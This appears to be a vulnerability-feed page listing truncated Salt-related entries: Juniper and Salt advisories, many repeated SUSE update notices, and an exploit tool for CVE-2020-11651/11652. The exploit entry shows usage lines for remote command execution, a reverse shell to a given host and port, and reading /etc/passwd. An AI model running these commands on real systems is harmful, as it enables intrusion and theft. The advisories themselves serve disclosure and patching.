SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2026-103406

The AutomatedProvisioner component in Juniper Networks Session Smart Conductor is vulnerable to an OS Command Injection flaw (CWE-78). A remote, unauthenticated attacker can execute arbitrary commands with root privileges by providing a specially crafted salt minion ID . This vulnerability occurs...

CVE-2026-103406 Session Smart Conductor: An unauthenticated attacker causes arbitrary command execution during key management.

An Improper Neutralization of Special Elements used in an OS Command vulnerability in the AutomatedProvisioner in Juniper Networks Session Smart Conductor allows a remote attacker to execute arbitrary commands as root via a specially crafted salt minion ID...

PT-2026-128282

Name of the Vulnerable Software and Affected Versions Juniper Networks Session Smart Conductor affected versions not specified Description An improper neutralization of special elements used in an OS command within the AutomatedProvisioner allows a remote attacker to execute arbitrary commands wi...

Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: mgr-push was updated to version 5.2.5: Removed token based authentication mechanism for packagepush bsc1230949 spacecmd was updated to version 5.2.10: Pre-filter errata in systemapplyerrata to avoid using API calls for all existing errata bsc1267261 Updated...

SUSE-SU-2026:4584-1 Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: mgr-push was updated to version 5.2.5: - Removed token based authentication mechanism for packagepush bsc1230949 spacecmd was updated to version 5.2.10: - Pre-filter errata in systemapplyerrata to avoid using API calls for all existing errata bsc1267261 -...

Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: mgr-push: Version 5.2.5-0 Remove token based authentication mechanism for packagepush bsc1230949 spacecmd: Version 5.2.10-0 Pre-filter errata in systemapplyerrata to avoid using API calls for all existing errata bsc1267261 Version 5.2.9-0 Update translation...

SUSE-SU-2026:4583-1 Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: mgr-push: - Version 5.2.5-0 Remove token based authentication mechanism for packagepush bsc1230949 spacecmd: - Version 5.2.10-0 Pre-filter errata in systemapplyerrata to avoid using API calls for all existing errata bsc1267261 - Version 5.2.9-0 Update...

Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: scap-security-guide was updated to version 0.1.79: Version 0.1.79 jscECO-3319 Added SLE16 profiles to the build Create SLE16 HIPAA profile Create SLE16 PCI DSS 4 profile Use Sequoia in RHEL 10 instead of GPG New Profile for RHEL10: BSI Move RHEL Control fil...

SUSE-SU-2026:4582-1 Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: scap-security-guide was updated to version 0.1.79: - Version 0.1.79 jscECO-3319 Added SLE16 profiles to the build Create SLE16 HIPAA profile Create SLE16 PCI DSS 4 profile Use Sequoia in RHEL 10 instead of GPG New Profile for RHEL10: BSI Move RHEL Control...

Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: scap-security-guide was updated to version 0.1.79: Version 0.1.79 jscECO-3319 Added SLE16 profiles to the build Create SLE16 HIPAA profile Create SLE16 PCI DSS 4 profile Use Sequoia in RHEL 10 instead of GPG New Profile for RHEL10: BSI Move RHEL Control fil...

SUSE-SU-2026:4581-1 Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: scap-security-guide was updated to version 0.1.79: - Version 0.1.79 jscECO-3319 Added SLE16 profiles to the build Create SLE16 HIPAA profile Create SLE16 PCI DSS 4 profile Use Sequoia in RHEL 10 instead of GPG New Profile for RHEL10: BSI Move RHEL Control...

Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: scap-security-guide was updated to version 0.1.79: Version 0.1.79 jscECO-3319 Added SLE16 profiles to the build Create SLE16 HIPAA profile Create SLE16 PCI DSS 4 profile Use Sequoia in RHEL 10 instead of GPG New Profile for RHEL10: BSI Move RHEL Control fil...

SUSE-SU-2026:4580-1 Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: scap-security-guide was updated to version 0.1.79: - Version 0.1.79 jscECO-3319 Added SLE16 profiles to the build Create SLE16 HIPAA profile Create SLE16 PCI DSS 4 profile Use Sequoia in RHEL 10 instead of GPG New Profile for RHEL10: BSI Move RHEL Control...

Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: spacecmd was updated to version 5.2.10: Pre-filter errata in systemapplyerrata to avoid using API calls for all existing errata bsc1267261 Updated translation strings uyuni-tools was updated to version 5.2.17: Security issues fixed: CVE-2026-39821: Drop the...

Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: spacecmd was updated to version 5.2.10: Version 5.2.10: Pre-filter errata in systemapplyerrata to avoid using API calls for all existing errata bsc1267261 Version 5.2.9: Updated translation strings uyuni-tools was updated to version 5.2.17: Security issues...

Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: scap-security-guide was updated to version 0.1.79 jscECO-3319: Added SLE16 profiles to the build Create SLE16 HIPAA profile Create SLE16 PCI DSS 4 profile Use Sequoia in RHEL 10 instead of GPG Added new Profile for RHEL10: BSI Move RHEL Control files to...

Security update 5.2.1 for Multi-Linux Manager Client Tools

This update fixes the following issues: spacecmd was updated to version 5.2.10: Version 5.2.10: Pre-filter errata in systemapplyerrata to avoid using API calls for all existing errata bsc1267261 Version 5.2.9: Updated translation strings uyuni-tools was updated to version 5.2.17: Security issues...

PYSEC-2026-1899 Salt has minion event bus authorization bypass vulnerability

Minion event bus authorization bypass. An attacker with access to a minion key can craft a message which may be able to execute a job on other minions = 3007.0...

Security update 5.0.8 for Multi-Linux Manager Salt Bundle

This update fixes the following issues: venv-salt-minion: Security issues fixed: CVE-2026-31958: tornado: Fixed parsing large multipart bodies with many parts can cause a denial of service bsc1259554 CVE-2026-27459: pyOpenSSL: Fixed issue with large cookie value that can lead to a buffer overflow...